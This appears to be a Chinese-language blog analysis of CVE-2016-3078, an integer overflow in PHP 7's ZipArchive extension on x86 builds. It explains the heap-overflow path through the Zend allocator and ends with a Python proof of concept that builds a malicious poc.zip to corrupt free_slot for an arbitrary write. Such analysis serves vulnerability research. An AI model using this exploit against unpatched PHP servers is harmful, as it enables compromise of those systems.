Wednesday, May 18, 2016

CVE-2016-3078 PHP ZipArchive Integer Overflow 分析


        这个漏洞的影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本。PHP的源码可以在这里下到,https://github.com/php/php-src/

PHP源码架构


        PHP源码里的核心库是在Zend目录下。负责php脚本的解析,执行等核心功能。

        TSRM目录下是关于PHP多线程的库。

        ext目录下是实现各种PHP扩展功能的代码。如:ftp,ssl,xml等,也包括这次主要要分析的zip解析的功能。

漏洞详情


        关于CVE-2016-3078,在社区上有人发过:http://seclists.org/bugtraq/2016/Apr/159
主要问题是,当PHP在x86的机器上编译的时候,其中的zend_ulong类型会被编译成不同的长度。



        以上代码来自Zend/zend_long.h。可以看到,如果是在x64环境下编译的话,zend_ulong是64位长度的;如果是x86下的话,就是32位长度的。然后,在php_zip_get_from()函数里,会把一个64位的长度赋值给一个zend_ulong类型的变量,形成整型溢出,然后是堆溢出,通过合理构造输入可以达到任意地址写。

执行流程


        一个可以触发漏洞的简单的php脚本如下:


        在php脚本里,解析zip文件时,先调用ZipArchive::open()来把zip文件读到内存里。在php源码里对应的代码在php_zip.c里:



        其中,open()初始化了一个_ze_zip_object结构体:




        其中的za指向了一个zip结构体,这个结构体存放的是与被解析的zip文件的内容相关的东西。



        其中的zip_source_t *src指向的结构体与zip文件里的数据相关的东西。



        其中的cb是一个union结构体,里面放的是在解压zip压缩包里的文件时调用的回调函数。在open()函数里,这个回调函数会被初始化成read_data()



        再转回php脚本。open()完成之后,然后调用getFromIndex()或者getFromName()读取zip压缩包里的具体文件数据。在php源码里,这两个函数的都直接调用了php_zip_get_from()函数,而这个就是存在漏洞的函数。

        在php_zip_get_from()函数里,会先从Executor Globals里把传入的参数读出来。然后会解析zip文件的dirEntry对应的文件目录,然后更新一个zip_stat结构,存放结果。



        其中size是uint64的,对应zip Entry里的UncompressedSize位。之后会检查从php脚本里传入的参数len是不是小于1,如果是就会把这个size赋值到len。注意,这里len的类型是zend_long。



        然后,调用zip_fopen_index()来解析zip结构,然后更新zip结构体的数据。在解析过程中,这个函数会对zip文件的压缩方式做区分。分别是encrypted,compressed,和store。

        encrypted是加密,需要password;compressed是压缩;store是不压缩,直接存放原始文件数据。然后会在原来的zip结构体之上再重新封装一层zip结构体,并把新的结构体的回调函数注册成相应的解密、解压、crc检查的函数。并返回这个新的结构体的指针。

         接下来,回到php_zip_get_from()函数。zend_string_alloc()函数是触发整型溢出的点。然后下面的zip_fread()函数是堆溢出的点。



        在zend_string()里会先对len做一个边界对齐,会在原始len的大小上加上0x14然后再mask 0xFFFFFFFC。攻击中可以把UncompressedSize设成0xFFFFFFFE,然后会分配一个0x10大小的堆。



        这里面,调用了pemalloc分配堆块。它是php内部实现的一个Memory Allocator。源码在zend_alloc.c里,具体就不展开了。它里面对小的堆块的分配做了优化,所有小堆块都连续分布在一个或多个连续的内存页上,每个空闲的小堆块都用一个单向链表的形式组织起来。第一个空闲的小堆块的地址会放在全局的chunk head的free_slot里。



        当要分配小堆块的内存的时候,会先从free_slot里拿出那个地址,然后根据链表,把下一个free的block地址放到free_slot里。代码如下:



        所以,这就给堆溢出带来了机会。可以先溢出改写下一个free block的头,然后再分配一次,把构造的free block头写入free_slot,然后再分配一次,构造出任意地址写。

        实际的堆溢出发生在后面的zip_fread()函数里。他会递归地调用之前提到的zip结构体里注册的回掉函数。于是,就会先调用之前提到的decrypt/inflate/crc check,然后再调用在open()的时候注册的read_data()函数。这里基本上可以看作是memcpy。

POC:

import struct
import binascii
def file_head( name, data, uncomplen):
r = '\x14\x00\x00\x00'
r += '\x00\x00' # frCompression = FL_STORE
r += '\xBB\x63'
r += '\xAD\x48'
r += struct.pack("<I", binascii.crc32(data)&0xffffffff)
r += struct.pack("<I", len(data))
r += struct.pack("<I", uncomplen)
r += struct.pack("<H", len(name))
r += '\x00\x00'
return r

def file_rec( name, data, uncomplen):
r = '\x50\x4B\x03\x04'
r += file_head( name, data, uncomplen)
r += name
r += data
return r

def dir_entry( offset, name, data, uncomplen):
r = '\x50\x4B\x01\x02'
r += '\x1F\x00'
r += file_head( name, data, uncomplen)
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00\x00\x00'
r += struct.pack("<I", offset)
r += name
return r

def end_loc( num, size, offset):
r = '\x50\x4B\x05\x06'
r += '\x00\x00'
r += '\x00\x00'
r += struct.pack("<H", num) * 2
r += struct.pack("<I", size)
r += struct.pack("<I", offset)
r += '\x00\x00'
return r

# Create 3 files
## SIGV will generate when trying to
## heap->free_slot[bin_num] = exit_plt->next_free_slot;
exit_plt = 0x80910030
payload = struct.pack('<I', exit_plt) + 'B' * 0xC
f1 = file_rec( "XXXX", payload, 0xfffffffe)
f2 = file_rec( "XXXX", 'C' * 16, 0xfffffffe)
f3 = file_rec( "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
# Once more to overcome GC
f4 = f3

d1 = dir_entry( 0, "XXXX", payload, 0xfffffffe)
d2 = dir_entry( len(f1), "XXXX", 'C'*16, 0xfffffffe)
d3 = dir_entry( len(f1+f2), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
d4 = dir_entry( len(f1+f2+f3), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)

end = end_loc( 4, len(d1+d2+d3+d4), len(f1+f2+f3+f4))

with open('poc.zip', 'wb') as fd:
fd.write(f1+f2+f3+f4+d1+d2+d3+d4+end)

No comments:

Post a Comment